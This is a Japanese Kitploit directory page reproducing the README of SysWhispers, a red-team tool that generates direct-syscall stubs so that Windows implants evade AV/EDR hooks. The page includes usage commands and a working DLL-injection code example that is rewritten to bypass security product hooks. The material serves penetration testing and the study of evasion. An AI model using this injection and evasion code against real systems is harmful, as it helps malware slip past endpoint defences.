Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SysWhispers — 直接システムコールによるAV/EDR回避。 | Kitploit
ツール/GitHubGitHub/jthuraisamy/syswhispers
エクスプロイトIDS/IPS回避シェルコードペネトレーションテストレッドチーミングペイロード開発
GitHubjthuraisamy/syswhispers

SysWhispers

直接システムコールによるAV/EDR回避。

リポジトリを見る
2.0k2775年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SysWhispers

SysWhispersは、直接システムコールを行うためのヘッダー/ASMファイルを生成し、インプラントが回避策を講じるのに役立ちます。

Windows XPからWindows 10 19042 (20H2)までのすべての主要なシステムコールがサポートされています。生成されたファイルの例は example-output/ フォルダにあります。

はじめに

各種セキュリティ製品は、ユーザーモードAPIにフックを仕掛け、実行フローを自身のエンジンにリダイレクトして不審な動作を検出します。システムコールを実行する ntdll.dll の関数は数個のアセンブリ命令で構成されているため、それらを独自のインプラントで再実装することで、セキュリティ製品のフックがトリガーされるのを回避できます。この手法は@Cn33liz氏によって広められ、彼のブログ記事にはさらに詳細なテクニックが記載されています。

SysWhispersは、レッドチームがWindows XP以降のすべてのWindowsバージョンにおいて、カーネルコアイメージ(ntoskrnl.exe)の任意のシステムコールに対してヘッダー/ASMペアを生成できるようにします。ヘッダーには必要な型定義も含まれます。

Dumpert POCとの主な実装上の違いは、本ツールはOSバージョンの問い合わせに RtlGetVersion を呼び出さず、代わりにアセンブリ内でPEBを直接問い合わせて行う点です。これにより、複数のWindowsバージョンをサポートする1つの関数を呼び出せるようになり、各バージョンに対応する複数の関数を呼び出す必要がなくなります。

インストール

root@kitploit:~
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

使用方法と例

コマンドライン

root@kitploit:~
# サポートされているすべてのWindowsバージョンに対応する全機能をエクスポート(example-output/ を参照)。
py .\syswhispers.py --preset all -o syscalls_all

# Windows 7、8、10に対応する一般的な機能のみをエクスポート。
py .\syswhispers.py --preset common -o syscalls_common

# NtProtectVirtualMemory と NtWriteVirtualMemory を全バージョン対応でエクスポート。
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Windows 7、8、10に対応する全機能をエクスポート。
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

スクリプト出力

root@kitploit:~
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: カーネルに呼びかけるよりも、ささやくほうがいい?

一般的な関数が選択されました。

完了!ファイルは以下に書き込まれました:
        syscom.asm
        syscom.h

従来の CreateRemoteThread DLLインジェクションのビフォーアフター例

root@kitploit:~
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
root@kitploit:~
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
root@kitploit:~
#include <Windows.h>
#include "syscalls.h" // 生成されたヘッダーをインポート

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

共通関数

--preset common スイッチを使用すると、以下の関数を含むヘッダー/ASMペアが作成されます:

クリックして関数リストを展開
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Visual Studioへのインポート

  1. 生成されたH/ASMファイルをプロジェクトフォルダにコピーします。
  2. Visual Studioで、プロジェクト → ビルドのカスタマイズ... に進み、MASMを有効にします。
  3. ソリューションエクスプローラーで、.hファイルと.asmファイルをそれぞれヘッダーファイルとソースファイルとしてプロジェクトに追加します。
  4. ASMファイルのプロパティに進み、項目の種類を Microsoft Macro Assembler に設定します。
  5. プロジェクトプラットフォームがx64に設定されていることを確認します。現時点では32ビットプロジェクトはサポートされていません。

注意点と制限事項

  • 現時点では64ビットWindowsのみがサポートされています。
  • グラフィックサブシステム(win32k.sys)からのシステムコールはサポートされていません。
  • Visual Studio 2019 (v142) と Windows 10 SDK でテスト済みです。

トラブルシューティング

  • Pythonスクリプトで ModuleNotFoundError が発生する場合。
    • pip3 install -r requirements.txt で必要なモジュールがインストールされていることを確認してください。
  • 型の再定義エラー:syscalls.h の typedef がすでに定義されている場合、プロジェクトがコンパイルできないことがあります。
    • 必要な関数のみを含めるようにしてください(--preset all はほとんど必要ありません)。
    • 使用している他のヘッダーですでに typedef が定義されている場合、syscalls.h から削除できます。

クレジット

このスクリプトは @Jackson_T によって開発されましたが、多くの方々の研究成果を基にしています:

  • @j00ru:機械可読な形式のシステムコール番号を維持してくださったこと。
  • @FoxHex0ne:多くの関数プロトタイプとtypedefを機械可読な形式でカタログ化してくださったこと。
  • @PetrBenes、NTInternals.netチーム、およびMSDN:追加のプロトタイプとtypedefを提供してくださったこと。
  • @Cn33liz:初期のDumpert POC実装。

特に@Dcept905氏のテストと提案に感謝します。

関連記事とプロジェクト

  • @0x00dtm:Userland API Monitoring and Code Injection Detection
  • @0x00dtm:Defeating Userland Hooks (ft. Bitdefender) (コード)
  • @Cn33liz:Combining Direct System Calls and sRDI to bypass AV/EDR (コード)
  • @mrgretzky:Defeating Antivirus Real-time Protection From The Inside
  • @SpecialHoang:Bypass EDR’s memory protection, introduction to hooking (コード)
  • @xpn および @domchell:Silencing Cylance: A Case Study in Modern EDRs
  • @mrjefftang:Universal Unhooking: Blinding Security Software (コード)
  • @spotheplanet:Full DLL Unhooking with C++
  • @hasherezade:Floki Bot and the stealthy dropper

ライセンス

このプロジェクトはApache License 2.0の下でライセンスされています。

ツールをダウンロード
  • @hodg87:Latest Trickbot Variant has New Tricks Up Its Sleeve
  • @hodg87:Malware Mitigation when Direct System Calls are Used